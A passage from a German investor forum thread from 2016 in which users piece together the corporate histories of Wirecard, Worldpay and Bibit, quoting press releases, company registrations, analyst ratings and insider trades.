      Registration No. 259 MR.SRINIVASAN RAMAN BUSINESS DEVELOPMENT MANAGER HERMES I TICKETS PRIVATE LIMITED GV.COMPLEX, 32/20 RAILWAY COLONY 3RD STREET, AMINJIKARAI CHENNAI - 600029 914442974300, 9952933433 SRINIVASAN.RAMAN@HERMES-IT.IN

      bringt einen nicht weiter, alles zu chaotisch
      Avatar
      schrieb am 24.04.16 21:11:15
      Beitrag Nr. 49 ()
      DD@worldpay

      Worldpay habe ich mir nie wirklich angeschaut. Gehörten die nicht (seit wann eigentlich?) zur Royal Bank of Scotland?
      Aufgefallen sind sie mehr erstmalig 2004, weil sie eine Partnerschaft hatten mit GibNet in Gibraltar
      GibNet Limited, Gibraltar's first and leading Internet Service Provider, announce a partnership with WorldPay Plc, one of the world's leading e-commerce enablers, to provide Gibraltar with one-stop e-commerce shop solutions.
      "We have had many requests from businesses in Gibraltar for a complete e-commerce solution during the last few months" said Jimmy Imossi, Director of GibNet. "Most traders want the ability to place their products attractively on the Internet, allow customers to browse through these easily and, most importantly, to pay immediately using a secure card authorisation system. The online payment processing was a serious stumbling block for such companies in the past, but GibNet's partnership with WorldPay overcomes these barriers and delivers a complete and secure e-commerce solution"

      Damals waren sie schon RBS, im Juli 2004 gab es eine Kooperation mit Bibit. (Wer Bibit nicht kennt: da gab es einen Zusammenhang zur "aconti", einer der größten Dialerschmieden der Welt, via Rainer Stecken
      u.a. --> Goodthixx --> Ibill, Dialer für Amerika)

      weiter zurück recherchiert:
      2002
      Bibit erreicht Gewinnschwelle
      65% höhere Quartalsumsätze durch Multi-Channel-Ansatz

      (press1: iBOT) - Gelsenkirchen, Bunnik (Niederlande), 18. Juni 2002 - Bibit Global Payment Services (Bibit), einer der weltweit führenden Anbieter von Zahlungsservices, hat zum ersten Mal seit der Unternehmensgründung 1998 die Gewinnschwelle überschritten. Im ersten Quartal 2002 wuchsen die Umsätze um 65% verglichen mit dem letzten Quartal des Jahres 2001. Zum kontinuierlichen Wachstum von Bibit trugen sowohl das Wachstum des bestehenden Kundenstamms sowie die Anbindung neuer Klienten an die Zahlungsplattform von Bibit bei. Zu den in der jüngsten Zeit neu gewonnenen Kunden zählen unter anderem Expedia, NEC, die Modern Times Group, Transavia und Psion.

      "Immer mehr Global 1000-Unternehmen übertragen ihre Zahlungsprozesse einem Spezialisten, um sowohl die Kosten als auch Sicherheit und die technische Abwicklung unter Kontrolle zu haben", bemerkt Joost Schuijff, CEO von Bibit. "Bibit zeichnet sich als der einzig wirklich international tätige Anbieter aus, der seine internationalen Kunden mit einer lokalisierten Zahlungslösung für jede Verkaufsoperation versorgt. Dies hat sich als klarer Wettbewerbsvorteil herauskristallisiert."

      Im laufenden Geschäftsjahr werden Umsätze von mehr als 1 Milliarde Euro über die Zahlungsplattform von Bibit abgewickelt werden.


      Bibit Global Payment Services (www.bibit.com) ist einer der weltweit führenden Payment-Service-Provider. Bibit hat sich darauf spezialisiert, Zahlungsvorgänge, die aus unterschiedlichen Verkaufskanälen stammen, über eine Internet-Infrastruktur abzuwickeln. Das Unternehmen bietet dazu einen mehrsprachigen End-to-end-Zahlungsservice, der 60 internationale Zahlungsmethoden in zahlreichen Währungen zu einer einheitlichen digitalen Lösung zusammenfasst. Bibits Serviceangebot beinhaltet den vollständigen Abgleich und Administrationsdienste. Der Payment Service lässt sich nahtlos in bestehende Plattformen integrieren, die Transaktionen generieren, und ist mit dedizierten Schnittstellen für spezielle Industrien und Verkaufskanäle ausgestattet, darunter Call Center, reine Webshops und physikalisch vorhandene Points-of-Sale (POS). Mit Büros in Deutschland, Frankreich, Großbritannien, den Niederlanden und den USA ist Bibit auf einer weltweiten Basis tätig. Zur internationalen Klientel zählen Unternehmen wie Dell Computer Corporation, Expedia, Inc., The Financial Times, Fleurop Interflora und NEC Computers International. Bibit ist eine privat gehaltene Firma, die zurzeit 65 Mitarbeiter beschäftigt.

      2001: Bibit - Paybox

      noch weiter zurück:
      Sehr verehrter Besucher,
      der Einwahldienst von xlx.de als InternetZugang für 4,5 Pf./Min. wurde aus organisatorischen Gründen eingestellt bzw. möchten wir dieses Produkt nicht weiterhin für Neukunden bewerben.
      Bestehende Einwahlkonfigurationen können natürlich auch weiterhin genutzt werden!
      [ weiter ... ]
      A Lifestyle GmbH 1997-2001

      die Seite führt heute zu einer Porno-Cam-Seite

      Aconti, Rainer Stecken, Raimund Woitinek, Walter Toifl, Goodlines, usw - das übliche halt.

      Bibit war 'ne kleine wirecard eigentlich. Was ist aus denen denn geworden???

      Im Juli 2004 gab es eine Anzeige im Zusammenhang mit einer Werbung für Venturekapital
      EuroVence - The European Marketplace for Risk Capital
      http://www.eurovence.com
      http://www.eurovence.com


      domain: eurovence.de
      descr: swoxx.com LTd.
      descr: Andreas Punke
      descr: 223 Regent Street
      descr: London W1B 2QD
      descr: United Kingdom
      nserver: ns1.swoxx.de


      oh Mann, damals hat noch Thomas Weigt die Firmen gegründet
      https://www.duedil.com/company/04381709/swoxx-com-ltd/people


      weiter mit worldpay, der nächste Schreck:

      in UK wurden sie mit der TBS in Verbindung gebracht (Teil eines europwaweit tätigen Abzocknetzwerks, in Deutschland bekannt seit 1998 mit Wurzeln in Hong Kong und Dänemark)
      worldpay hatte aber offenbar den Stecker gezogen

      Re "Telecom Billing Services" posted by Mr J at 12:50 17/06/04 ...
      Just had a look at their website. If you go through to the payment page (http://tbstelecom.co.uk/pay.html), it currently has a section at the top in big red letters which says:

      PLEASE NOTE: WE ARE CURRENTLY EXPERIENCING TECHNICAL DIFFICULTIES WITH OUR SECURE PAYMENT AREA - PLEASE CALL OUR CUSTOMER SERVICES DEPARTMENT ON: 08717170452 TO MAKE PAYMENT
      However, the same page also states that they use Worldpay (one of the main online card-processing organisations) to handle credit card payments. And a quick check on the source of the page reveals that they've left their Worldpay ID in the form, even though they've disabled the form itself. That gives me enough information to recreate the live page, and try and make a payment through it. And, guess what - when I do, the Worldpay server comes back with this message:
      the merchant account is suspended

      Die Dialer der Dänisch-Britisch-HongKonger-Sex-Mafia waren auch lustig damals. Gab eine Menge Ärger quer über den Kontinent.

      Die Bibit wurde von RBS geschluckt, ach sooooo
      RBS schluckt Bibit
      Die Royal Bank of Scotland Group (RBS) hat den Payment Service Provider (PSP) Bibit übernommen. Bibit soll das Portfolio der RBS-Tochter WorldPay ergänzen.


      Geschichte bis 2003 (Quelle worldpay)

      WorldPay was founded in 1993, and has been at the forefront of developing secure, comprehensive and straightforward e-payment processing systems ever since.

      *
      Dotted Line
      *
      A brief history of our progress:
      1993
      WorldPay trials first Electronic Cash Purse in Europe

      1994
      WorldPay opens first online shop offering secure transactions

      1995
      Barclays Bank endorses WorldPay's secure payment systems and opens UK's first electronic shopping mall 'BarclaySquare'

      1996
      WorldPay develops Internet multi-currency capabilities in conjunction with NatWest Bank

      1997
      WorldPay develops Internet multi-currency capabilities in conjunction with NatWest Bank

      Multi-currency trials completed - NatWest endorses systemWorldPay product integration with i-Cat, Intershop and Mercantec Softcart

      WorldPay offices opened in UK, USA, Canada, Hong Kong, Japan, Germany, Holland, Belgium and France, in a joint marketing agreement with PSINet.

      1999
      WorldPay European Headquarters established in Cambridge, UK, to include multi-lingual call centre

      2000
      Click and Build launched as a complete low-cost, easy to set up and use, fully featured and functional eCommerce Shopping Cart solution. WorldPay becomes euro operational

      WorldPay integrates with leading shopping solution software Shop@ssistant, Actinic and ShopCreator.

      In conjunction with PSINet - secures deal with US Internet-related information network company, National Data Corporation (NDC), to offer complete eCommerce solution to NDC's one million customer

      2001
      WorldPay establishes Oklahoma call centre and US Sales office to support launch of WorldPay solutions in the US.

      Partnerships signed with PSINet and Virginbiz.net to provide an online payment processing and storebuilding solution for their complete eCommerce offerings to SMEs.

      WorldPay's single and multi-currency processing system wins eCommerce Application of the Year at Computing Magazine's Awards for Excellence.

      WorldPay wins Publishing Magazine Editor's Choice for providing outstanding products and services to the publishing industry.

      2002
      WorldPay becomes wholly-owned part of The Royal Bank of Scotland Group - the 5th largest banking group in the world.

      WorldPay opens offices in Germany to support growing number of German customers.

      Microsoft accredit WorldPay's payment solutions for the E-commerce 2000 platform.


      2003
      WorldPay sell Click and Build to Something4.


      Richtig lustig fand ich das:
      Easy Credit Card S.L.
      Sonia Regina da Costa
      Carrer de Porto Pi 12
      407015
      Palma de Mallorca
      Spain
      Tel: +34 971708520
      Fax: +34 971708521
      Email: lou@easycc.com [Ludwig Pöppler]
      Website: http://www.easycc.com


      Das ist der Laden in Mallorca, den die Guardia Civil damals gestürmt hat wegen Geldwäsche.

      2005 gab es in diversen Foren (gerade im Bereich Poker) den ein oder anderen Aufschrei, weil click2pay nicht funktionierte.
      Ok i haven't registered yet. And if it doesnt change I'm NOT goin to be upgrading to NC2
      1) i HAVE to pay with Switch. I do not own a credit card, and nor do i wish to own one. I believe if you haven't got the money then you can't spend it. So please give me the Switch option or you get nothing. I know Bob wants Solo as well. And without it, he won't play either.
      2) I'm not having some wierd freak phone me up and verify who i am. I don't like giving my number out at the best of times. Let alone to some company who are going to phone me up and ask stupid fucking questions..
      Get it sorted or your gunna lose alot of business.
      I want WorldPay
      (Neocronforum)

      Im März 2005 waren Pöppler und DaCosta immer noch Partner der Worldpay/RBS, wie eine zufällig gespeicherte Googleabfrage zeigt
      WorldPay - Partners - [ Diese Seite übersetzen ]
      ... Home About Us Small Business Corporate Business Partners. Easy Credit Card SL. Sonia
      Regina da Costa. Carrer de Porto Pi 12. 407015. Palma de Mallorca. Spain. ...
      www.worldpay.com/asiapac_sg/ partners/index.php?go=ps_info&id=167 - 15k - Im Cache - Ähnliche Seiten


      Dann gab es noch einen höchst spannenden Partner der Worldbank
      Netforce Group plc
      "Founded in 1995, Netforce are dedicated to the design, development, deployment and management of e-Commerce, m-Commerce and e-Security solutions for UK and International corporate organisations. Netforce help emerging and evolving businesses transform themselves into e-businesses.
      Netforce have an outstanding record of partnerships with our key clients and industry leaders, delivering a succession of e-Commerce solutions that have consistently provided significant business benefits."
      16 Baddow Road
      Chelmsford
      Essex
      CM2 0DG
      Tel: +44 (0) 1245 611611
      Fax: +44 (0) 1245 611612
      Email: http://www.netforce.net
      Website: http://www.multi-media.co.uk

      Aber nach 2005 habe ich die Firma aus den Augen verloren.



      Erst in jüngster Zeit, natürlich wegen wirecard, kamen sie wieder ins Visier.
      Avatar
      schrieb am 24.04.16 21:20:22
      Beitrag Nr. 50 ()
      Worldpay Geschichte aus Sicht der Worldpay


      Our history

      Worldpay has a long history of working closely with our merchant customers to help them prosper. We have played a pioneering role in developing technology solutions for in-store, online and mobile payments over the last 30 years.

      1989 - Streamline launched. The business at this point was a simple UK-based electronic payment provider that focused on point of sale transactions. In 1989, we also developed one of the first global scheme programmes with Visa and MasterCard: the Global Airline Programme.

      1994 - Worldpay processed for the first online shop in UK.

      1999 - We were the driving force behind one of the first roll-outs in the UK of the Europay Mastercard Visa technical standard for payment cards.

      2000 - RBS merged with NatWest.

      2002 - Streamline and Worldpay combined though they continued to operate as separate brands. By 2002, we were among the first internet payment aggregators. Over the next eight years, the business continued to grow organically with the acquisition of Lynk, PaymentTrust, and Bibit.

      2004 - Worldpay acquired Lynk, a leading POS acquirer in the US and Bibit in the Netherlands.

      2005 - Worldpay introduced an early pre-authorisation transaction risk-filtering feature with RiskGuardian.

      2010 - By 2010, Worldpay had become the largest merchant acquirer in Europe and one of the largest globally. In late 2010, RBS sold Worldpay to Bain Capital and Advent International. This allowed Worldpay to retain the benefits of our heritage, yet transform the business to become more customer-centric, entrepreneurial and innovative.

      Since becoming an independent company, we have invested over £1 billion in our business with approximately £400 million invested in technology to create a modern and sophisticated platform. Our advanced infrastructure gives our customers speed, reliability and security as well as rich and easy-to-use functionality.

      December: Worldpay acquires Cardsave, leading our outbound sales capability for UK SMEs.

      2011 - July: Worldpay acquired Envoy, a leading provider of alternative payment methods with a strong FX platform. Envoy gives us the technology and expertise to offer customers more than 200 alternative payment options, which means they can reach wider markets across the world.

      2013 - March: Worldpay acquired Yespay, which integrates point-of-sale technologies and payment gateways for medium sized merchants. Having them on board means our customers get a one-stop-shop with all services available from one provider. Yespay technology helped us to launch Worldpay Total, an integrated payments solution for SME/SMB merchants in the UK.

      June: Worldpay launched Zinc, a mobile Chip & PIN payment service that enables card payments for small businesses and mobile workers.

      September: Worldpay acquired Century Payments, Inc.. They strengthen our strategic partnership model, giving us advanced sales tools and analytics.

      2014 – In 2014, we brought all our businesses together under one brand Worldpay.

      April: Worldpay acquired Brazilian payment gateway company, Cobre Bem Tecnologia. With a high quality technology platform, comprehensive connections to local acquirers, and an established local team, this transaction supports our strategy of further penetrating the fast growing Latin American market.

      May: Worldpay made a strategic investment in Pazien, Inc., an innovative start-up creating products using transaction data to enable more intelligent routing, automated optimisation and reconciliation for global eCommerce merchants.

      December: Worldpay completed the acquisition of SecureNet LLC, headquartered in Austin, Texas. SecureNet brings advanced omni-channel technology along with a network of technology partners and existing merchant relationships and enhances our drive to offer the deepest and broadest range of integrated payment capabilities in the US market.

      The future - As you can see, we have been building while investing in our people, our capabilities and our technology.

      As consumer behaviour, technology and global markets continue to develop in the future, we will be working at the cutting edge to help our customers anticipate and respond to this change.

      Worldpay has an exciting pipeline of additional value-adding services in pilot and development for 2015 and beyond.
      Avatar
      schrieb am 24.04.16 21:38:39
      Beitrag Nr. 51 ()
      2000 - RBS merged with NatWest.
      !!!
      Avatar
      schrieb am 24.04.16 21:51:51
      Beitrag Nr. 52 ()
      2000 kam die Nat West dazu, aber der Sprung an die Börse ist spannend: Die RBS hat worldpay verkauft an Bain Capital (Mitt Romney!) und Advent International

      ---
      Blue Ridge Capital LLC (1.12.15) 0,72%, erhöht bis 4.12.15 auf 1,36%, am 24.2.15 erhöht auf 2,02%, am 14.3. erhöht auf 2,73%
      John Griffin, "a protege of Julian Robertson"
      https://en.wikipedia.org/wiki/Blue_Ridge_Capital
      >5 Milliarden, hat Mitt Romney unterstützt
      --- (Zufall?)


      Advent --> Teilhaber von:
      Vantiv, Inc. is a public U.S.-based payment processing and technology provider headquartered in the greater Cincinnati, Ohio area. Vantiv is the largest PIN Debit U.S. acquirer and second largest U.S. merchant transaction acquirer ranked by general purpose transaction volume.[1]
      Formerly known as Fifth Third Processing Solutions, the company adopted the name "Vantiv" in June 2011 as a step towards becoming a public company. Previously a joint venture between Advent International and Fifth Third Bancorp,[4] Vantiv became a publicly traded company on March 22, 2012, listed on the NYSE under the ticker symbol "VNTV."[5]
      https://de.wikipedia.org/wiki/Advent_International


      The company provides payment and technology services to merchants and financial institutions in the U.S. and processes more than 20.1 billion payment transactions and approximately $726 billion in volume annually. As of 2014, Vantiv supports approximately 400,000 merchant locations and more than 17,000 automated teller machines (ATMs) in 46 states and eight countries.[2]




      Die Kaufparty konnte bewinnen.


      Since becoming an independent company, we have invested over £1 billion in our business with approximately £400 million invested in technology to create a modern and sophisticated platform. Our advanced infrastructure gives our customers speed, reliability and security as well as rich and easy-to-use functionality.

      December: Worldpay acquires Cardsave, leading our outbound sales capability for UK SMEs.

      2011 - July: Worldpay acquired Envoy, a leading provider of alternative payment methods with a strong FX platform. Envoy gives us the technology and expertise to offer customers more than 200 alternative payment options, which means they can reach wider markets across the world.

      2013 - March: Worldpay acquired Yespay, which integrates point-of-sale technologies and payment gateways for medium sized merchants. Having them on board means our customers get a one-stop-shop with all services available from one provider. Yespay technology helped us to launch Worldpay Total, an integrated payments solution for SME/SMB merchants in the UK.

      June: Worldpay launched Zinc, a mobile Chip & PIN payment service that enables card payments for small businesses and mobile workers.

      September: Worldpay acquired Century Payments, Inc.. They strengthen our strategic partnership model, giving us advanced sales tools and analytics.

      2014 – In 2014, we brought all our businesses together under one brand Worldpay.

      April: Worldpay acquired Brazilian payment gateway company, Cobre Bem Tecnologia. With a high quality technology platform, comprehensive connections to local acquirers, and an established local team, this transaction supports our strategy of further penetrating the fast growing Latin American market.

      May: Worldpay made a strategic investment in Pazien, Inc., an innovative start-up creating products using transaction data to enable more intelligent routing, automated optimisation and reconciliation for global eCommerce merchants.

      December: Worldpay completed the acquisition of SecureNet LLC, headquartered in Austin, Texas. SecureNet brings advanced omni-channel technology along with a network of technology partners and existing merchant relationships and enhances our drive to offer the deepest and broadest range of integrated payment capabilities in the US market.
      Avatar
      schrieb am 25.04.16 22:33:13
      Beitrag Nr. 53 ()
      zu chaotisch, taugt nur fürs sofa

      Michael Liquornik, de la haute direction, a fait l’acquisition d’un lot de 30 500 actions de Com-
      merce Surefire. Il a payé ses nouvelles actions un prix
      de 18,5 cents. Les transactions d’achat ont été réalisées
      du 5 au 7 mars.

      Das heißt doch, dass ein Michael Liquornik 30500 Aktien einer "Surefire" gekauft hat für 18,5 kanadische cent? Das war aber billig.
      Ein gutes Jahr später stand die Aktie bei 4,24$. Das ist mal ein Investment. Naja, richtig viel hat ER ja nicht investiert. Aber vielleicht andere?

      Es gibt noch ganz andere wirecards auf der Welt, warum wird ausgerechnet wirecard angegriffen? Und warum spielt ein Recherchebericht eine Rolle, der teilweise gut recherchiert ist - aber der Lücken hat? Würde Markus Braun den Bericht doch nur ernster nehmen, dann würde ihm vielleicht das ein oder andere auffallen. Ich kann es ihm nur raten. Oder tut er nur so uninteressiert?

      Herr Braun, was machen eigentlich die beiden angeblich bereits gegründeten Firmen in den USA?
      American Payment Holding Inc. in Toronto (Kanada) sowie der Payment Technology Ltd. mit Sitz in Delaware
      Ich kann sie immer noch nirgends finden.

      Herr Braun, warum schreibt die Wirecard, die "Paysys Inc" oder "Wire Card Inc" sei in Sacramento, wenn sie doch gar nicht dort ist oder war sie doch da? Aber wenn ja: wo?
      http://www.bizapedia.com/companies-sacramento-ca-95814-p-485-13026770.aspx

      -->
      http://www.bizapedia.com/ca/PAYSYS-INC.html
      warum Sacramento? Zufall? Oder gibt es einen Grund?

      Paysys Inc
      CHRISTIAN VON HAMMEL-BONTEN
      C/O Wirecard Ag
      Einsteinring 35
      Aschheim, Germany 85609

      Seit wann ist die Wirecard eigentlich in Aschheim? 2006?

      Ist es bedeutungslos, dass der Firmensitz dieser Firma 2011 noch "Bretonischer Ring, Grasbrunn" war?
      Die Firma PAYShield Services GmbH ist im Handelsregister beim Amtsgericht München unter der Nummer HRB 161379 registriert. Die eingetragene Rechtsform lautet Gesellschaft mit beschränkter Haftung. Die Haupttätigkeit liegt im Bereich Managementtätigkeiten von Holdinggesellschaften. Das Firmendomizil befindet sich in Aschheim. Die Eintragung erfolgte am 9. März 2006.
      Mit der Führung der PAYShield Services GmbH waren Münch Thomas, von Hammel Bonten Christian, Lotz Nicole und eine weitere Person beauftragt.

      Was hatte man denn mit der PAYSHIELD vor?
      http://ir.wirecard.de/websites/wc/German/3150/finanznachrich…
      Neuss / Grasbrunn b. München, 16. Juni 2008; Ab sofort erhalten Distanzhändler mit 'PayShield' eine Zahlungsgarantie. 'PayShield', eine gemeinsame Produktentwicklung der CEG Creditreform Consumer GmbH und der Wirecard AG, ist eine umsatzsteigernde und kostensparende Lösung für den Distanzhandel.


      Was hat Wirecards Payshield mit Payshield von Thales zu tun, das 2013 im Zusammenhang mit Spire Payments erwähnt wird
      http://www.paymentscardsandmobile.com/thales-delivers-secure…
      Wirecard & Spire trefen in Indien wieder aufeinander
      The Chennai-based company is creating new and innovative payment solutions for emerging markets. Founded by Pavan Kachibhatla, Bijlipay partnered with Wirecard AG, one of the world’s leading independent provider of electronic payment systems, and Spire Payments, UK (which created the world’s first fully EMV compliant mPOS device), for its Mobile Point-of-Sale program.

      Titel des Artikels: Markus Brauns und aller fintechs Lieblingsformulierung
      "With $12 M investment, Bijlipay plans to disrupt the payment business among small merchants "
      Geld aus Singapore, Kunde: die BJP (führende Partei Indiens)

      und noch was Aktuelles:

      Letzte Woche hat ein großer amerikanischer Paymentriese in Deutschland eingekauft und keiner hat's gemerkt:
      https://goo.gl/HBNTqL
      Avatar
      schrieb am 25.04.16 22:51:30
      Beitrag Nr. 54 ()
      Wire Card (inc) / paysys (inc) in Sacramento wurde gegründet von DLA Piper und die haben eine Filiale in München
      Damit alles klar
      Avatar
      schrieb am 26.04.16 00:23:29
      Beitrag Nr. 55 ()
      Kauf in Australien und Rückblick über den Thread

      Zitat von Smudo: Der Indien Deal ist ein Riesen Problem.
      Das glaube ich nicht. Es gibt Konkurrenz, aber Wirecard hat Visa im Rücken (es sei denn, da läuft etwas anderes) und hat in Asien eine gute Position.
      Immerhin gab es erst vor 2 Jahren ein fettes Geschäft, das etwas zu kurz kommt in der Diskussion:

      Wirecard-Aktie: Milliardenübernahme

      11.12.2014 13:23

      http://www.deraktionaer.tv/video/wirecard-aktie-milliardenue…

      wird sogar im Forum erwähnt:
      Wirecard-Aktie: Kleine Verschnaufpause - Aktienanalyse
      22.01.15 17:28
      Schwarzach am Main (www.aktiencheck.de) - ... Wirecard ... bleibt auch im vierten Quartal auf Wachstumskurs, so die Experten vom "ZertifikateJournal" in einer aktuellen Veröffentlichung.
      Der Umsatz sei in den letzen drei Monaten des Jahres 2014 um 26 Prozent auf 176 Mio. Euro gestiegen. Beim EBITDA habe der TecDAX-Konzern sogar noch stärker zulegen können. Das Ergebnis sei um 44 Prozent auf 52 Mio. Euro nach oben gesprungen. Auch die Jahresbilanz könne sich sehen lassen. Vorläufigen Berechnungen zufolge habe sich der Umsatz um rund ein Viertel auf 600,8 Mio. Euro, das EBITDA um 37 Prozent auf 173 Mio. Euro erhöht. Damit habe der Konzern seine eigenen Prognosen geschlagen. Denn ursprünglich habe Wirecard ein operatives Ergebnis zwischen 170 und 177 Mio. Euro in Aussicht gestellt.
      Im neuen Jahr solle es sogar noch besser laufen. Nach bislang 205 bis 225 Mio. Euro erwarte man nun beim EBITDA 210 bis 230 Mio. Euro. Hintergrund sei die positive Geschäftsentwicklung sowie die zu erwartenden Beiträge aus den getätigten Übernahmen. Wirecard habe im Dezember etwa die in Neuseeland ansässige GFG Group erworben.

      Trotz des optimistischen Ausblicks habe an der Börse so keine rechte Kauflaune aufkommen wollen. Womöglich hätten Anleger dem Konzern noch mehr zugetraut. Darüber hinaus habe die Wirecard-Aktie bereits in den vergangenen Wochen kräftig Gas gegeben. Seit November habe sich der TecDAX-Wert um mehr als 35 Prozent verteuert - eine kleine Verschnaufpause tue da durchaus mal ganz gut. Analysten würden indes wenig Zweifel hegen, dass die Rekordjagd bald weitergehe. Auch die Experten vom "ZertifikateJournal" sehen das Potenzial noch nicht ausgereizt, schon allein mit Blick auf den boomenden Online-Handel. (Ausgabe 2 vom 22.01.2015)

      (Januar 2015)

      Nicht einmal ernestof hat das damals positiv kommentiert. Aber der freute sich ja noch über den Samwer-Deal der Wirecard
      Wirecard: Kooperation mit Rocket Internet
      03.12.2014 - 08:47 Uhr - Jochen Kauper - Redakteur
      Wirecard: Kooperation mit Rocket Internet - Aktie steigt weiter
      Der gute Newsflow reißt nicht ab. Am Mittwoch gab Wirecard eine Kooperation mit der von den Brüdern Samwer geführte Rocket Internet Gruppe bekannt. Demnach werden in Zukunft alle Online-Unternehmen der Rocket Internet Gruppe auf die Technologie von Wirecard zurückgreifen. " Wirecard passt perfekt zu uns, da sie schnell auf unsere Bedürfnisse reagieren und uns mit mobilen und onlinebasierten Bezahllösungen unterstützen, die wir für unsere unterschiedlichen Märkte benötigen, " sagt Oliver Samwer, Gründer und CEO von Rocket Internet.

      (Der Aktionär)

      Die Frage eines users
      Soll man jetzt noch kaufen, auf Sicht von ca 2 Jahre?
      wurde ignoriert. Schlechter service.
      Die Antwort gaben andere
      Das Analysehaus Jefferies hat Wirecard mit "Buy" und einem Kursziel von 48 Euro in die Bewertung aufgenommen.

      Die 48 wurden erreicht!

      Damals wurden auch schon oft alte Berichte zitiert, zB im Januar 2015
      Lars Dannenberg, Analyst der Privatbank Hauck & Aufhäuser, rät in einer aktuellen Aktienanalyse vor Q4-Quartalszahlen weiterhin zum Kauf ...dürfte über ein ordentliches viertes Quartal 2014 berichten... Kursziel von 40,50 Euro bestätigt. (Analyse vom 16.10.2015)

      Tja, damals wurde der Thread auch noch nicht gemonitort, da lief das entspannter mit dem pushen.

      37,785 EUR +0,13% (16.01.2015, 17:35)

      Dann gab es Zahlen, ein neues ATH, alles prima.

      ernestof brachte wieder mal Neues von "Der Aktionär"
      Wirecard begeistert die Börse - Prognose wird angehoben


      und dann kam obiger Artikel ("Kleine Verschnaufpause")

      Am 30.01.2015 dann eine Sensation!
      ernestof entsetzt!
      Short-Attacke
      Wirecard-Aktie: Short-Attacke von Leerverkäufer AQR Capital Management - Aktiennews
      29.01.15 10:09
      aktiencheck.de
      Aschheim (www.aktiencheck.de) - Leerverkäufer AQR Capital Management baut Netto-Leerverkaufsposition in Aktien der Wirecard AG auf

      Damals Summe aller Shorts: 0,50
      0,50% AQR Capital Management, LLC (26.01.2015)

      Die postings plätscherten dann so dahin
      April 2015
      ANALYSE-FLASH: Goldman senkt Ziel für Wirecard auf 61 Euro - 'Conviction Buy'
      Die US-Investmentbank Goldman Sachs hat nach Jahreszahlen das Kursziel für Wirecard von 62 auf 61 Euro gesenkt


      Die anderen hatten Kuzrsziele zw 40 und 50

      Das größte Kurspotenzial traut die US-Investmentbank Goldman Sachs dem TecDAX-Titel zu. Zwar senkte Analyst Mohammed Moawalla in seiner Studie das Kursziel marginal von 62 auf 61 Euro, auf dem derzeitigen Kursniveau entspricht das Gewinnpotenzial aber immer noch mehr als 50 Prozent. „Die jüngst unterdurchschnittliche Kursentwicklung der Aktie bietet eine attraktive Kaufgelegenheit“, so der Moawalla.


      am 21.04.2015 passiert wieder SENSATIONELLES!
      wieviel davon ist organisches Wachstum, wieviel davon zugekauftes ?
      (smartcap)

      invest63 Anfang Mai 2015
      Kauf zu 35,10 Euro.
      Hier stimmt die Story noch auf Jahre (bezahlen im Internet beginnt ja erst richtig).


      7.5.2015 ernestof
      Bezeichnung des Finanzinstruments: Aktie ISIN/WKN des Finanzinstruments: DE0007472060 Geschäftsart: Kauf Datum: 07.05.2015 Kurs/Preis: 35,6339 Währung: EUR Stückzahl: 150000 Gesamtvolumen: 5345085,00 Ort: Frankfurt


      Dann wohl Credit Suisse-Analyse, denn:
      Hallo Leute, zuerst kommen alle positiven Nachrichten und dann plötzlich ist alles ganz anders wie ein Analyst schreibt was steckt dahinter ?

      (die zweite kritische Frage in 5 Monaten! Was war da nur los???)

      Erklärung:
      Summasumarum haben sie (die Schweizer) das geschafft, was sie mit ihrer "Empfehlung" erreichen wollten. Den Kurs drücken.
      So und wenn das geschafft ist dann wird heimlich und langsam aufgesammelt und dann kommt irgendwann eine Schwellenüberschreitung.
      So einfach ist das ........


      ernestof
      Tja, es gibt sie noch - die Gnome von Zürich.
      Und leider haben sie offenbar einigen Einfluss - auf die mit den zittrigen Händen.


      Interessanter Tag: 27. Mai 2015

      erst shortsqueeze
      Wie gut habt ihr euch Wirecard angesehen?
      http://ftalphaville.ft.com/2015/04/27/2127427/the-house-of-w…
      http://ftalphaville.ft.com/2015/05/05/2127886/the-strange-ca…
      http://ftalphaville.ft.com/2015/05/26/2128751/wirecard-gibra…

      Minuten später erinnert smartcap an seine Frage
      in diesem Zshg. hatte ich hier mal die Frage gestellt wie hoch der Anteil des organischen Wachstum ist ...bzw. wieviel zugekauftes (externes) Wachstum ...

      Und dann: Rentfort!
      Die Artikel sind aus meiner Sicht sehr gründlich recherchiert und mit Dokumenten untermauert.
      Wieso fällt ausgerechnet eine so erfolgreiche Gesellschaft wie Wirecard Gibraltar einer Straffung der Konzernstruktur zum Opfer?
      Wieso wird E-Credit Plus kurz vor dem Erwerb durch Wirecard mit Verträgen aus dem Dunstkreis von Wirecard gefüttert?
      Nein, nein, die Antworten von Markus Braun auf diese Fragen sind absolut nicht überzeugend.

      Darauf ernestof "Sorry, ich konnte die Artikel nicht öffnen"

      Mai/Juni: BRaun kauft weiter
      03.06.2015 MB Beteiligungsgesellschaft mbH c/o Wirecard AG J K 60.000 37,58 2.256.815
      02.06.2015 MB Beteiligungsgesellschaft mbH c/o Wirecard AG J K 50.000 37,68 1.884.000
      29.05.2015 MB Beteiligungsgesellschaft mbH c/o Wirecard AG J K 40.000 38,07 1.522.608
      28.05.2015 MB Beteiligungsgesellschaft mbH c/o Wirecard AG J K 60.000 37,59 2.255.238
      07.05.2015 MB Beteiligungsgesellschaft mbH c/o Wirecard AG J K 150.000 35,63 5.345.085


      Die Wirecard-Aktionäre müssen derzeit Einiges mitmachen. Die Aktie des Zahlungsabwicklers befindet sich seit Wochen auf Talfahrt und verlor binnen 14 Tagen über zwölf Prozent. Auch am heutigen Montag setzte sich der Kursrückgang fort. Grund hierfür war ein Analystenkommentar der US-Investmentbank JPMorgen.

      Ganz ohne Zatarra :)
      Der JPMorgen-Kommentar ist nicht die einzige negative Analystenstimme der letzten Wochen. Vor allem die Credit Suisse sorgte in den letzten Wochen für Aufsehen. Die Experten der Bank sehen das Kursziel bei 27 Euro (aktueller Kurs: 35,92 Euro). Auf dem Papier sei der Zahlungsabwickler in einem der wachstumsstärksten Bereiche aktiv, schrieb Analyst Charles Brennan. Aber: Brennan rät, vor allem auf die Rendite des Free Cashflow zu schauen. Auf dieser Basis liege die Bewertung von Wirecard deutlich über der Branche.

      Der Aktionär ignoriert das völlig und rät: Zuschlagen! (Kurs knapp über 36)
      Die Aktie ist auf dem aktuellen Niveau zwar nicht billig, jedoch sind die Aussichten der Branche hervorragend. Wirecard wird sicherlich vom Trend hin zu bargeldlosem Zahlen profitieren. Anleger können den Insiderkäufen folgen und selbst Anteile erwerben. Langfristig ist die Wirecard-Aktie eines der aussichtsreichsten Papiere im TecDAX

      Interessant:
